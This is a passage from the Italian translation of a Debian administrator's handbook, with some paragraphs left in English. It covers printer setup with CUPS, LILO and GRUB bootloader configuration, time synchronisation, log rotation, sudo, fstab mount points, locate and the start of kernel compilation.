Le variabili d'ambiente consentono la memorizzazione di impostazioni globali per la shell o per vari altri programmi utilizzati. Sono contestuali (ogni processo ha il suo insieme di variabili d'ambiente) ma ereditabili. Quest'ultima caratteristica offre la possibilità per una shell di login di dichiarare variabili che poi saranno passate a tutti i programmi che esegue.

Impostare le variabili d'ambiente predefinite è un elemento importante per la configurazione della shell. A parte le variabili specifiche di ogni shell, è preferibile inserirle nel file /etc/environment poiché viene usato da vari programmi per inizializzare le sessioni shell. Variabili tipicamente definite in questo file sono: ORGANIZATION che generalmente contiene il nome dell'azienda o dell'organizzazione, HTTP_PROXY che indica l'esistenza e la posizione di un proxy HTTP.

SUGGERIMENTO Tutte le shell configurate allo stesso modo

Gli utenti desiderano spesso configurare le proprie shell interattive e di login allo stesso modo. Per fare ciò scelgono di interpretare (o «riportare») il contenuto di ~/.bashrc nel file ~/.bash_profile. È possibile fare lo stesso con file comuni a tutti gli utenti (richiamando /etc/bash.bashrc da /etc/profile).

8.7. Configurazione della stampante

Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to CUPS, the free print server using the IPP (Internet Printing Protocol).

Debian distributes CUPS divided between several packages. The heart of the system is the scheduler, cupsd, which is in the cups-daemon package. cups-client contains utility programs to interact with the server, cupsd. lpadmin is probably the most important utility, as it is crucial for setting up a printer, but there are also facilities to disable or enable a printer queue, view or delete print jobs and display or set printer options. The CUPS framework is based on the System V printing system, but there is a compatibility package, cups-bsd, allowing use of commands such as lpr, lpq and lprm from the traditional BSD printing system.

COMUNITÀ CUPS

CUPS is a project and a trademark owned and managed by Apple, Inc. Prior to its acquisition by Apple it was known as the Commmon Unix Printing System.

→ https://www.cups.org/

The scheduler manages print jobs and these jobs traverse a filtering system to produce a file that the printer will understand and print. The filtering system is provided by the cups-filters (https://salsa.debian.org/printing-team/cups-filters) package in conjunction with printer-driver-* packages. CUPS in combination with cups-filters and printer-driver-* is the basis for the Debian printing system.

Modern printers manufactured and sold within the last ten years are nearly always AirPrint-capable, and CUPS and cups-filters on Debian Buster have everything which is needed to take advantage of this facility on the network. In essence, these printers are IPP printers and an excellent fit for a driverless printing system, reducing the system to CUPS plus cups-filters. A printer-driver package can be dispensed with, and non-free printing software from vendors like Canon and Brother is no longer required. A USB-connected printer can take advantage of a modern printer with the ippusbxd package.

The command apt install cups will install CUPS and cups-filters. It will also install the recommended printer-driver-gutenprint to provide a driver for a wide range of printers, but, unless the printer is being operated driverlessly, an alternative printer-driver might be needed for the particular device.

As a package recommended by cups-daemon, cups-browsed will be on the system and networked print queues, and modern printers can be automatically discovered and set up from their DNS-SD broadcasts (Bonjour). USB printers will have to be set up manually as described in the next paragraph.

The printing system is administered easily through a web interface accessible at the local address http://localhost:631/. There you can add and remove USB and network printers and administer most aspects of their behavior. Similar administration tasks can also be carried out via the graphical interface provided by a desktop environment or the system-config-printer graphical interface (from the homonym Debian package).

8.8. Configurare il bootloader

È probabilmente già funzionante ma è sempre meglio sapere come configurare ed installare il bootloader nel caso scompaia dal Master Boot Record. Questo può avvenire dopo l'installazione di un altro sistema operativo, per esempio Windows. Le seguenti informazioni possono anche aiutare a modificare la configurazione del bootloader se necessario.

FONDAMENTALI Master boot record

Il Master Boot Record (MBR) occupa i primi 512 byte del primo disco rigido e rappresenta la prima cosa caricata dal BIOS per passare il controllo ad un programma in grado di lanciare il sistema operativo desiderato. Generalmente, il bootloader viene installato nell'MBR, rimuovendo il suo contenuto precedente.

8.8.1. Identificare i dischi

CULTURA udev e /dev/

La directory /dev/ ospita tradizionalmente i file cosiddetti "speciali", usati per rappresentare le periferiche del sistema (si veda il riquadro FONDAMENTALI Permessi di accesso ai dispositivi). Fino a poco tempo fa, era usato per contenere tutti i file speciali che potevano essere utilizzati. Questo approccio ha avuto una serie di dinconvenienti tra cui il fatto che restringeva il numero di dispositivi che si potevano utilizzare (a causa della lista dei nomi fissa), e che era impossibile sapere quali file speciali erano effettivamente utili.

Nowadays, the management of special files is entirely dynamic and matches better the nature of hot-swappable computer devices. The kernel cooperates with udev (Sezione 9.11.3, «Come funziona udev») to create and delete them as needed when the corresponding devices appear and disappear. For this reason, /dev/ doesn't need to be persistent and is thus a RAM-based filesystem that starts empty and contains only the relevant entries.

Il kernel comunica molte informazioni su qualsiasi dispositivo appena aggiunto ed assegna una coppia di numeri maggiore/minore per identificarlo. Con questo udevd è in grado di creare il file speciali con il nome e le autorizzazioni che vuole. Si può anche creare un alias ed eseguire ulteriori azioni (come l'inizializzazione o la registrazione di attività). Il comportamento di udevd è guidato da un grande insieme di regole (personalizzabili).

Con nomi assegnati dinamicamente, è possibile quindi mantenere lo stesso nome per un dato dispositivo, indipendentemente dal connettore utilizzato o dall'ordine di connessione, che è particolarmente utile quando si utilizzano varie periferiche USB. La prima partizione del primo disco rigido può quindi essere chiamato /dev/sda1 per retro compatibilità, o /dev/root-partition se si preferisce, o addirittura entrambi al stesso tempo dato che udevd può essere configurato per creare automaticamente un link simbolico.

In tempi remoti, alcuni moduli del kernel si caricavano quando si tentava di accedere al file del dispositivo corrispondente. Ora non è più così, ed il file specifico della periferica non esiste prima di caricare il modulo; questo è un grosso problema, dal momento che la maggior parte dei moduli vengono caricati all'avvio grazie al riconoscimento automatico dell'hardware. Ma per le periferiche non rilevabili (come dischi molto vecchi o mouse PS/2), questo non funziona. Bisogna considerare l'aggiunti dei moduli, floppy, psmouse e mousedev a /etc/modules per forzare il loro caricamento all'avvio.

La configurazione del bootloader deve identificare i diversi dischi rigidi e le rispettive partizioni. Linux usa speciali file "a blocchi" conservati nella directory /dev/, per questo scopo. Sin da Debian Squeeze, lo schema dei nomi degli dischi è stato unificato con il kernel Linux, e tutti i dischi rigidi (IDE/PATA, SATA, SCSI, USB, IEEE 1394) sono ora rappresentati da /dev/sd*.

Ogni partizione è rappresentata dal suo numero sul disco che la ospita: per esempio /dev/sda1 è la prima partizione nel primo disco e /dev/sdb3 è la terza partizione nel secondo disco.

L'architettura PC (o "i386", compreso il cugino più giovane "amd64") è stata a lungo limitata dall'uso della tabella delle partizioni "MS-DOS", che permetteva solo quattro partizioni "primarie" per disco. Per superare la limitazione di questo schema, una di esse deve essere creata come partizione "estesa", e può così contenere partizione "secondarie" aggiuntive. Queste partizioni secondarie sono numerate a partire da 5. Così la prima partizione secondaria potrebbe essere /dev/sda5, seguita da /dev/sda6, etc.

Un'altra limitazione del formato della tabella di partizione MS-DOS è che permette solo dischi fino a 2Tb di dimensione, che sta diventando un vero problema con i dischi più recenti.

Un nuovo formato della tabella di partizione denominato GPT allenta questi vincoli sul numero di partizioni (permette fino a 128 partizioni utilizzando le impostazioni standard) e sulle dimensioni dei dischi (fino a 8 ZiB, che sono più di 8 miliardi terabyte). Se avete intenzione di creare molte partizioni fisiche sullo stesso disco, è pertanto necessario assicurarsi di creare una tabella delle partizioni in formato GPT quando si partiziona il disco.

Non è sempre semplice ricordare quale disco è connesso a quale controller SATA o alla terza posizione nella catena SCSI, specialmente dato che la denominazione dei dischi rigidi collegati a caldo (che include tra gli altri la maggior parte dei dischi SATA e i dischi esterni) può cambiare tra un avvio e l'altro. Fortunatamente udev crea in aggiunta a /dev/sd* dei collegamenti simbolici con un nome fisso che è possibile usare se si desidera identificare un disco rigido in modo non ambiguo. Questi collegamenti simbolici sono conservati in /dev/disk/by-id. In una macchina con due dischi fisici, per esempio, si potrebbe trovare questo:

mirexpress:/dev/disk/by-id# ls -l

total 0

lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1

[...]

mirexpress:/dev/disk/by-id#

Si noti che alcuni dischi sono elencati più volte (poiché agiscono simultaneamente come dischi ATA e dischi SCSI), ma l'informazione rilevante principale è il modello ed il numero seriale dei dischi grazie ai quali si può individuare il file periferica.

I file di configurazione d'esempio che si trovano nelle sezioni seguenti sono basati sulla stessa configurazione: un singolo disco SATA, dove la prima partizione è una vecchia installazione Windows e la seconda contiene Debian GNU/Linux.

8.8.2. Configurare LILO

LILO (LInux LOader) è il bootloader più vecchio: solido ma grezzo. Scrive l'indirizzo fisico del kernel da lanciare nell'MBR, per questo ogni aggiornamento di LILO (o dei suoi file di configurazione) dev'essere seguito dal comando lilo. Dimenticarsi di farlo impedisce al sistema di avviarsi se il vecchio kernel è stato rimosso o sostituito dato che quello nuovo non sarà nella stessa posizione sul disco.

Il file di configurazione di LILO è /etc/lilo.conf: un file semplice per configurazioni standard è presentato nell'esempio che segue.

Esempio 8.4. File di configurazione di LILO

# Il disco dove LILO dev'essere installato.

# Indicando il disco e non la partizione.

# ordiniamo a LILO di installarsi nell'MBR.

boot=/dev/sda

# la partizione che contiene Debian

root=/dev/sda2

# l'oggetto da caricare in via predefinita

default=Linux

# la più recente immagine kernel

image=/vmlinuz

label=Linux

initrd=/initrd.img

read-only

# Vecchio kernel (in caso il nuovo kernel non parta)

image=/vmlinuz.old

label=LinuxOLD

initrd=/initrd.img.old

read-only

optional

# solo per il doppio avvio Linux/Windows

other=/dev/sda1

label=Windows

8.8.3. Configurazione di GRUB 2

GRUB (GRand Unified Bootloader) è più recente. Non è necessario lanciarlo dopo ogni aggiornamento del kernel: GRUB sa come leggere i filesystem e trovare la posizione del kernel nel disco autonomamente. Per installarlo nell'MBR del primo disco è sufficiente digitare grub-install /dev/sda.

NOTA Nomi dei dischi per GRUB

GRUB can only identify hard drives based on information provided by the BIOS. (hd0) corresponds to the first disk thus detected, (hd1) the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB used to store the correspondences that it detected in the file /boot/grub/device.map. GRUB avoids this problem nowadays by using UUIDs or file system labels when generating grub.cfg. However, the device map file is not obsolete yet, since it can be used to override when the current environment is different from the one on boot. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating a device.map file from which to start.

Le partizioni hanno inoltre un nome specifico in GRUB. Quando si usano partizioni «classiche» nel formato MS-DOS, la prima partizione nel primo disco è etichettata (hd0,msdos1), la seconda (hd0,msdos2), ecc.

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub. To add entries to the menu, you can either create a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex configurations, you can modify other files in /etc/grub.d, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux takes into consideration the installed Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober lists other operating systems (Windows, OS X, Hurd).

8.9. Altre configurazioni: Sincronizzazione Ora, Log, Condivisione dell'accesso…

È bene conoscere i molti elementi elencati in questa sezione per chiunque voglia padroneggiare tutti gli aspetti di configurazione di un sistema GNU/Linux. Tuttavia sono trattati brevemente e i riferimenti alla documentazione sono frequenti.

8.9.1. Fuso orario

FONDAMENTALI Collegamenti simbolici

Un collegamento simbolico è un puntatore ad un altro file. Quando vi si accede viene aperto il file al quale punta. Rimuovere il collegamento non causa la rimozione del file a cui punta. Allo stesso modo non dispone di un proprio insieme di permessi mentre mantiene i permessi del file a cui punta. Infine può puntare a qualsiasi tipo di file: directory, file speciali (socket, pipe con nome, file di device, ecc.), anche ad altri collegamenti simbolici.

Il comando ln -s destinazione nome-collegamento crea un collegamento simbolico chiamato nome-collegamento che punta a destinazione.

Se il file a cui punta non esiste, allora il collegamento è «interrotto» e tentare di accedervi causerà un errore che indica l'assenza del file di destinazione. Se il collegamento punta ad un altro collegamento si avrà una «catena» di collegamenti che diviene un «ciclo» se una delle destinazioni punta ad uno dei predecessori. In questo caso, accedere ad uno dei collegamenti nel ciclo, causerà un errore specifico («too many levels of symbolic links» ovvero troppi livelli di collegamenti simbolici): questo significa che il kernel ha rinunciato dopo alcuni giri nel ciclo.

Il fuso orario, configurato durante l'installazione iniziale, è un elemento di configurazione per il pacchetto tzdata. Per modificarlo, usare il comando dpkg-reconfigure tzdata, che consente di scegliere il fuso orario da utilizzare in maniera interattiva. La rispettiva configurazione è conservata nel file /etc/timezone. Inoltre, il file corrispondente nella directory /usr/share/zoneinfo viene copiato in /etc/localtime: questo file contiene le regole per determinare i giorni in cui l'ora legale è attiva, per i paesi che la utilizzano.

Quando si necessita di cambiare temporaneamente il fuso orario si può utilizzare la variabile d'ambiente TZ che ha priorità rispetto alla configurazione predefinita di sistema:

$ date

Thu Feb 19 11:25:18 CET 2015

$ TZ="Pacific/Honolulu" date

Thu Feb 19 00:25:21 HST 2015

NOTA Orologio di sistema, orologio hardware

Vi sono due sorgenti per il tempo nel computer. La scheda madre del computer ha un orologio hardware, chiamato "orologio CMOS". Questo orologio non è molto preciso e fornisce tempi d'accesso lenti. Il kernel del sistema operativo ne ha uno proprio, l'orologio software, che mantiene aggiornato con i propri mezzi (eventualmente con l'aiuto dei time server, si veda la Sezione 8.9.2, «Sincronizzazione del tempo»). Questo orologio di sistema è generalmente più accurato, specialmente perché non deve accedere alle variabili hardware. Tuttavia, poiché esiste unicamente in memoria, viene azzerato ogni volta che la macchina viene avviata, contrariamente all'orologio CMOS, che è dotato di una batteria che gli consente di "«sopravvivere" ai riavvi o agli arresti della macchina. Così l'orologio di sistema viene impostato dall'orologio CMOS durante l'avvio mentre l'orologio CMOS viene aggiornato allo spegnimento (per prendere in considerazione possibili modifiche o correzioni se era regolato impropriamente).

In pratica c'è un problema perché l'orologio CMOS non è nulla più di un contatore che non contiene informazioni circa il fuso orario. Vi è una scelta da fare riguardo questa interpretazione: o il sistema considera che si configurato nell'orario universale (UTC, precedemente GMT), oppure in orario locale. Questa scelta può sembrare semplice ma le cose sono in verità più complicate: come risultato dell'ora legale questo sfasamento non è costante. Il risultato è che il sistema non ha modo di determinare se lo sfasamento è corretto, specialmente nei periodi del cambio. Poiché è sempre possibile ricostruire l'orario locale dal tempo universale e le informazioni sul fuso orario, raccomandiamo fortemente di utilizzare l'orologio CMOS con l'orario universale.

Sfortunatamente, i sistemi Windows per impostazione predefinita ignorano questa raccomandazione; mantengono l'orologio CMOS all'ora locale, applicando le modifiche quando avviano il computer tentando di indovinare durante i cambiamenti d'orario se la modifica è già stata applicata oppure no. Questo funziona relativamente bene, finché il sistema usa unicamente Windows. Ma quando un computer utilizza diversi sistemi (per esempio in una configurazione "dual-boot" o quando esegue altri sistemi in macchine virtuali), si genera confusione, senza modo alcuno di determinare se l'ora è corretta. Se si deve assolutamente mantenere Windows in un computer, si dovrebbe configurarlo per mantenere l'orologio CMOS in UTC (impostando la chiave di registro HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal a “1” come DWORD), o usare hwclock --localtime --set sul sistema Debian per impostare l'orologio hardware e tenere traccia dell'ora locale (ed assicurarsi di controllare manualmente il proprio orologio in primavera ed autunno).

8.9.2. Sincronizzazione del tempo

La sincronizzazione del tempo, che può sembrare superflua in un computer, è molto importante in una rete. Poiché gli utenti non hanno permessi per poter modificare data ed ora è importante che questa informazione sia precisa per evitare confusione. Inoltre, avere tutti i computer sincronizzati sulla rete permette di ottenere comparazioni migliori tra le informazioni dei log sulle varie macchine. Così, in caso di attacco, è più semplice ricostruire la sequenza cronologica delle azioni sulle varie macchine interessate dalla compromissione. I dati raccolti sulle varie macchine per propositi statistici avrebbero hanno un gran senso se non fossero sincronizzati.

FONDAMENTALI NTP

L'NTP (Network Time Protocol) consente alla macchina di sincronizzarsi con altri in modo piuttosto accurato, prendendo in considerazione i ritardi introdotti dal trasferimento delle informazioni attraverso la rete ed altri possibili sfasamenti.

Mentre ci sono numerosi server NTP su Internet, i più popolari possono essere sovraccarichi. Ecco perché raccomandiamo di usare il server NTP pool.ntp.org che è, in realtà, un gruppo di macchine che hanno accettato di agire come server NTP pubblici. È sempre possibile limitare l'uso ad un sotto-gruppo specifico ad un paese, per esempio con us.pool.ntp.org per gli Stati Uniti o ca.pool.ntp.org per il Canada, ecc.

Tuttavia, se si gestisce una grande rete, si raccomanda di installare un proprio server NTP, che si sincronizzerà con i server pubblici. In questo caso tutte le altre macchine sulla rete potranno usare il server NTP interno anziché incrementare il carico sui server pubblici. Inoltre si aumenterà l'omogeneità dei propri orologi poiché tutte le macchine saranno sincronizzate dalla stessa sorgente e questa sorgente sarà generalmente molto vicina in termini di tempo di trasferimento di rete.

8.9.2.1. Per le postazioni di lavoro

Poiché le postazioni di lavoro sono regolarmente riavviate (anche solo per risparmiare energia) sincronizzarle con NTP all'avvio è sufficiente. Per farlo si può installare il pacchetto ntpdate. Se è necessario bisogna cambiare il server NTP usato modificando il file /etc/default/ntpdate.

8.9.2.2. Per i server

I server sono riavviati raramente ed è estremamente importante che il loro tempo di sistema sia corretto. Per mantenere costantemente corretto il tempo si dovrebbe installare un server NTP locale, un servizio offerto dal pacchetto ntp. Nella configurazione predefinita il server si sincronizza con pool.ntp.org e fornisce il tempo in risposta alle richieste che arrivano dalla rete locale. È possibile configurarlo modificando il file /etc/ntp.conf e la modifica più significativa riguarda il cambio dei server NTP a cui fa riferimento. Se la rete ha molti server può essere interessante avere un server del tempo locale che si sincronizza con i server pubblici e viene usato come sorgente del tempo dagli altri server nella rete.

APPROFONDIMENTI Moduli GPS e altre sorgenti del tempo

Se la sincronizzazione del tempo è particolarmente cruciale per una rete è possibile equipaggiare un server con un modulo GPS (che utilizzerà il tempo fornito dai satelliti GPS) o un modulo DCF-77 (che sincronizzerà il tempo con l'orologio atomico vicino a Francoforte, Germania). In questo caso la configurazione del server NTP è un po' più complicata e si rente assolutamente necessaria la consultazione della documentazione prima di procedere.

8.9.3. Ruotare i file di log

I file di log crescono, velocemente, ed è necessario archiviarli. Lo schema più comune è «ruotare» gli archivi: i file log vengono regolarmente archiviati e solo gli ultimi X archivi vengono mantenuti. logrotate, il programma responsabile di queste rotazioni, segue le direttive specificate nel file /etc/logrotate.conf ed in tutti i file all'interno della directory /etc/logrotate.d/. L'amministratore può modificare questi file, se desidera adattare le politiche di rotazione definite da Debian. La pagina di manuale logrotate(1) descrive tutte le opzioni disponibili per questi file di configurazione. Si potrebbe desiderare l'incremento del numero di file mantenuti nella rotazione dei log oppure spostare i file di log in una directory dedicata specifica per archiviarli anziché cancellarli. I log si possono anche inviare via email per archiviarli in altro luogo.

Il programma logrotate viene eseguito giornalmente dal software di programmazione cron (descritto nella Sezione 9.7, «Pianificare attività con cron e atd»).

8.9.4. Condivisione dei privilegi di amministrazione

Frequentemente diversi amministratori lavorano nella stessa rete. Condividere le password di root non è molto elegante ed apre le porte ad abusi legati all'anonimato che questa condivisione genera. La soluzione a questo problema è il programma sudo che consente a certi utenti di eseguire determinati comandi con privilegi speciali. Nel caso d'uso più comune sudo consente ad un utente fidato di eseguire qualsiasi comando come root. Per farlo l'utente esegue semplicemente sudo comando e si autentica utilizzando la propria password personale.

Quando installato, il pacchetto sudo concede completi privilegi di root ai membri del gruppo Unix sudo. Per delegare questi privilegi, l'amministratore deve usare il comando visudo, che gli consente di modificare il file di configurazione /etc/sudoers (ancora una volta, questo esegue l'editor vi o qualsiasi altro editor indicato nella variabile d'ambiente EDITOR). Aggiungere una riga con nome-utente ALL=(ALL) ALL consente all'utente in questione di eseguire qualsiasi comando come root.

Configurazioni più sofisticate consentono l'autorizzazione solo su specifici comandi per specifici utenti. Tutti i dettagli circa le varie possibilità sono offerti nella pagina di manuale sudoers(5).

8.9.5. Lista dei punti di mount

FONDAMENTALI Montare e smontare

In un sistema tipo Unix come Debian i file sono organizzati in una singola gerarchia ad albero di directory. La directory / è chiamata la «directory radice»: tutte le altre directory sono sottodirectory di questa radice. «Montare» è l'azione di includere il contenuto di un dispositivo periferico (spesso un disco rigido) nell'albero generale dei file del sistema. Come conseguenza se si usa un disco rigido separato per conservare i dati personali degli utenti, questo disco dovrà essere «montato» nella directory /home/. La radice del filesystem è sempre montata all'avvio dal kernel: altri dispositivi sono spesso montati successivamente durante la sequenza di avvio o manualmente con il comando mount.

Some removable devices are automatically mounted when connected, especially when using the GNOME, Plasma or other graphical desktop environments. Others have to be mounted manually by the user. Likewise, they must be unmounted (removed from the file tree). Normal users do not usually have permission to execute the mount and umount commands. The administrator can, however, authorize these operations (independently for each mount point) by including the user option in the /etc/fstab file.

The mount command can be used without arguments to list all mounted filesystems; you can execute findmnt --fstab to show only the filesystems from /etc/fstab. The following parameters are required to mount or unmount a device. For the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the /dev/sdc1 partition, which has an ext3 filesystem, into the /mnt/tmp/ directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.

Il file /etc/fstab fornisce la lista di tutti i possibili montaggi che possono avvenire sia automaticamente all'avvio, sia manualmente per i dispositivi di archiviazione removibili. Ogni punto di montaggio è descritto da una riga con diversi campi separati da spazi:

- file system: this indicates where the filesystem to be mounted can be found, it can be a local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS).
Questo campo è frequentemente sostituito con l'ID univoco del filesystem (che può essere determinato con blkid dispositivo) ed è preceduto da UUID=. Questo mette al riparo da un eventuale cambio nel nome del device in caso di aggiunta o rimozione di dischi, o se i dischi vengono individuati in un ordine diverso.

- punto di montaggio: questa è la posizione nel filesystem locale dove il dispositivo, sistema remoto, o partizione dev'essere montata.

- tipo: questo campo definisce il filesystem usato sul dispositivo da montare. ext4, ext3, vfat, ntfs, btrfs, xfs sono solo alcuni esempi.
FONDAMENTALI NFS, un filesystem di rete

NFS è un filesystem di rete: su Linux consente l'accesso trasparente a file remoti includendoli nel filesystem locale.

Una lista completa dei filesystem conosciuti è disponibile nella pagina di manuale mount(8). Il valore speciale swap è per le partizioni di swap. Il valore speciale auto comunica al programma mount di individuare automaticamente il filesystem (cosa particolarmente utile per i lettori e le chiavette USB, poiché ognuna può avere un filesystem diverso dall'altra);

- opzioni: ne esistono molte, in base al filesystem, e sono documentate nella pagina di manuale mount. Le più comuni sono

- rw o ro, significano rispettivamente che il dispositivo può essere montato con i permessi di lettura/scrittura oppure sola lettura.

- noauto disattiva il montaggio automatico all'avvio.

- nofail permette all'vvio del sistema di procedere anche quando non è presente alcun dispositivo. Assicurasi di abilitare questa opzione per i dischi esterni che potrebbero essere scollegati all'avvio, poichè systemd garantisce che realmente tutti i pinti di mount che devono montati automaticamente siano effettivamente montati prima di lasciare che il processo di avvio continui fino alla fine. Si noti che è possibile combinare questa opzione con x-systemd.device-timeout=5s per dire a systemd di aspettare non più di 5 secondi che venga rilevato il dispositivo (si veda systemd.mount(5)).

- user autorizza tutti gli utenti a montare questo filesystem (un'operazione che sarebbe altrimenti consentita al solo utente root).

- defaults imposta un insieme di opzioni predefinite: rw, suid, dev, exec, auto, nouser e async, ognuna delle quali può essere singolarmente disabilitata dopo defaults aggiungendo nosuid, nodev e così via per bloccare rispettivamente suid, dev ecc. Aggiungere l'opzione user la riattiva, dato che defaults include nouser.

- dump: this field is almost always set to 0. When it is 1, it tells the dump tool that the partition contains data that is to be backed up.

- pass: this last field indicates whether the integrity of the filesystem should be checked on boot, and in which order this check should be executed. If it is 0, no check is conducted. The root filesystem should have the value 1, while other permanent filesystems get the value 2.

Esempio 8.5. Esempio di file /etc/fstab

# /etc/fstab: static file system information.

#

# <file system> <mount point>   <type>  <options>       <dump>  <pass>

proc            /proc           proc    defaults        0       0

# / was on /dev/sda1 during installation

UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1

# swap was on /dev/sda5 during installation

UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw  0       0

/dev/scd0       /media/cdrom0   udf,iso9660 user,noauto 0       0

/dev/fd0        /media/floppy   auto    rw,user,noauto  0       0

arrakis:/shared /shared         nfs     defaults        0       0

L'ultima riga di questo esempio corrisponde ad un filesystem di rete (NFS): la directory /shared/ sul server arrakis è montata in /shared/ nella macchina locale. Il formato del file /etc/fstab è documentato nella pagina di manuale fstab(5).

APPROFONDIMENTI Montaggio automatico

systemd is able to manage automount points: those are filesystems that are mounted on-demand when a user attempts to access their target mount points. It can also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated units (using the .automount suffix). See systemd.automount(5) for their precise syntax.

Other auto-mounting utilities exist, such as automount in the autofs package or amd in the am-utils package.

Note also that GNOME, Plasma, and other graphical desktop environments work together with udisks, and can automatically mount removable media when they are connected.

8.9.6. locate e updatedb

Il comando locate può trovare la posizione di un file quando se ne conosce solo parte del nome. Fornisce il risultato quasi istantaneamente, poiché consulta un database che conserva la posizione di tutti i file sul sistema; questo database è aggiornato giornalmente dal comando updatedb. Ci sono molte implementazioni del comando locate e Debain ha scelto mlocate per il proprio standard di sistema.

mlocate è abbastanza intelligente da restituire solo i file che sono accessibili all'utente che esegue il comando anche se utilizza un database in cui sono presenti tutti i file del sistema (sin dalla sua implementazione updatedb viene eseguito con i privilegi di root). Per una maggiore sicurezza, l'amministratore può utilizzare PRUNEDPATHS in /etc/updatedb.conf per escludere alcune directory dall'indicizzazione.

8.10. Compilare un kernel

I kernel forniti da Debian includono il maggior numero possibile di funzionalità, così come il massimo numero di driver, per coprire lo spettro più ampio di configurazioni hardware esistenti. Ecco perché alcuni utenti preferiscono ricompilare il kernel per includere unicamente ciò di cui necessitano. Ci sono due ragioni per questa scelta. Primo, questo può ottimizzare il consumo di memoria perché il codice del kernel anche se non viene mai utilizzato occupa memoria senza motivo (e non viene mai posto nello spazio di swap, dato che utilizza la vera RAM), cosa che può diminuire le prestazioni complessive del sistema. Inoltre un kernel compilato localmente può anche limitare i rischi di sicurezza poiché solo una frazione del codice del kernel è compilato ed eseguito.

NOTA Aggiornamenti di sicurezza

Se si sceglie di compilare il proprio kernel, bisogna accettarne le conseguenze: Debian non può assicurare gli aggiornamenti di sicurezza per un kernel personalizzato. Mantenendo il kernel fornito da Debian, si può beneficiare degli aggiornamenti preparati dalla squadra di sicurezza del Progetto Debian.

Ricompilare il kernel è inoltre necessario se si vuole utilizzare certe funzionalità che sono disponibili solo come patch (e non sono incluse nella versione standard del kernel).

ANDARE AVANTI Il Debian Kernel Handbook

The Debian kernel team maintains the “Debian Kernel Handbook” (also available in the debian-kernel-handbook package) with comprehensive documentation about most kernel related tasks and about how official Debian kernel packages are handled. This is the first place you should look into if you need more information than what is provided in this section.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. Introduzione e prerequisiti

Non stupisce che Debian gestisca il kernel sotto forma di pacchetti, diversamente da come i kernel sono stati compilati ed installati tradizionalmente. Poiché il kernel rimane sotto il controllo del sistema di pacchettizazione può essere rimosso in modo pulito, o distribuito su diverse macchine. Inoltre, gli script associati con questi pacchetti automatizzano l'interazione con il bootloader ed il generatore initrd.

I sorgenti originari di Linux contengono tutto il necessario per costruire un pacchetto Debian del kernel. Ma è ancora necessario installare build-essential per assicurarsi di avere gli strumenti necessari per costruire un pacchetto Debian. Inoltre, le fasi di configurazione del kernel richiedono il pacchetto libncurses5-dev. Infine, il pacchetto fakeroot consente la creazione del pacchetto Debian senza l'impiego di privilegi di amministratore.

CULTURA I bei vecchi tempi di kernel-package

Prima che il sistema di compilazione di Linux acquisisse la capacità di costruire pacchetti Debian veri e propri, il metodo consigliato per costruire tali pacchetti era quello di usare make-kpkg dal pacchetto kernel-package.

8.10.2. Ottenere i sorgenti

